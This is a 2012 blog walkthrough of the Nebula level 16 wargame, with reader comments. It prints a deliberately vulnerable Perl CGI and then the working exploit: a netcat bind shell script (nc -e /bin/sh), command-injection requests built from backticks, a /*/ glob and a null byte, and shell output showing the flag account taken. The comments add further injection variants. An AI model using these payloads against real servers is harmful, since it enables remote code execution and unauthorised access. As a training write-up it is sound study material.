Friday, June 1, 2012

Nebula Level 16 Solution

I started working on Nebula at exploit-exercises.com a couple of days ago.  Of the 17 levels solved thus far, I found level 16 to be the most laborious of all, and I derived great satisfaction from solving it.  In addition, I just did a quick online search and could not find any working solution for this level.  Thus I decided to do a quick walkthrough of it.

This challenge requires you to successfully exploit a server application listening on port 1616 that is running the following code:

#!/usr/bin/env perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub login {
$username = $_[0];
$password = $_[1];
$username =~ tr/a-z/A-Z/; # convert to uppercase
$username =~ s/\s.*//; # strip everything after a space
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
foreach $line (@output) {
($usr, $pw) = split(/:/, $line);

if($pw =~ $password) {
  return 1;
}
  }
return 0;
}
sub htmlz {
print("<html><head><title>Login results</title></head><body>");
if($_[0] == 1) {
print("Your login was accepted<br/>");
    } else {
  print("Your login failed<br/>");
  } print("Would you like a cookie?<br/><br/></body></html>\n");
}
htmlz(login(param("username"), param("password")));

Looking through the source code, it appears that the following line, once we get through all the checks and whatnot, is vulnerable to remote code execution:
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
To get our crafted input to this line, we need to work around 3 key restrictions.  They are:

  1. No lowercase letters are allowed, as they will all be converted to uppercase letters.
  2. No spaces are allowed, as everything after a space will be stripped away.
  3. Our input has to be crafted in such a way that it is successfully executed after egrep.

Due to these restrictions, it is likely that our crafted input has to be short and sweet.  Let's simplify our work by putting the bulk of our command into a script, shown below.  I chose to go with netcat here.

level16@nebula:~$ cat /tmp/MYSCRIPT
#!/bin/sh
nc.traditional -lvnp 4444 -e /bin/sh
Now let's figure out how to work around the first restriction of no lowercase letters.  We need to craft something with the effect of "/tmp/MYSCRIPT".  Obviously, "tmp" is the problem here, as the application will change it into "TMP" and prevent the running of our script.  Fortunately for us, bash provides us with an extremely elegant solution.  In fact, you should have come across this particular feature of bash even if you have been using bash for only a week.  With that, I shall leave you to ponder upon it for a while.


*                        *                        *


I will now briefly go through the second and third restrictions.  Although overcoming the second restriction is quite easy, the third restriction is a monster.  I was never a fan of perl to begin with, and it took me the better part of the day just to verify the functions and to find the correct combination of ", -, ` and % 00.  (By the way, there isn't supposed to be a space between % and 00.  I was forced to type the null byte in this way as blogspot is unable to properly display it.)

In the end though, I managed to find the solution and slay the beast (spoiler alert!).
root@bt:~# nc 192.168.0.100 1616
GET /index.cgi?password=random&username=-"`/*/MYSCRIPT`% 00

Open another window and put on the finishing touch:
root@bt:~# nc 192.168.0.100 4444
id
uid=983(flag16) gid=983(flag16) groups=983(flag16)
getflag
You have successfully executed getflag on a target account


Update (1 Jun): All 20 levels of Nebula are done!  I may do a write-up on Level 18 later.  On to Protostar!

3 comments:

  1. You can also get away without the % 00 termination. In for instance two ways:

    1)

    nc localhost 1616
    GET /index.cgi?username=`/*/MYSCRIPT`
    CTRL+C
    and then nc localhost 4444

    2)

    nc localhost 1616
    GET /index.cgi?username="%3b/*/MYSCRIPT%3b"
    CTRL+C
    and then nc localhost 4444

    PS: Great find with the /*/ trick.

    ReplyDelete
  2. Hi dearmo,

    would you mind if I did a write up of level 18 and post it on your blog after you reviewing it as you already have announced it?

    I would go along the lines of exhausting the available open file descriptors. Just drop me a line what you think, no is also ok...

    My email is: mon01@gmx.net

    ReplyDelete
    Replies
    1. Sure thing mon01! Feel free to write it up. I will be happy to post a link to your review, or to post your review and give you full credit for it.

      yep I did level 18 by exhausting the open file descriptors.

      Delete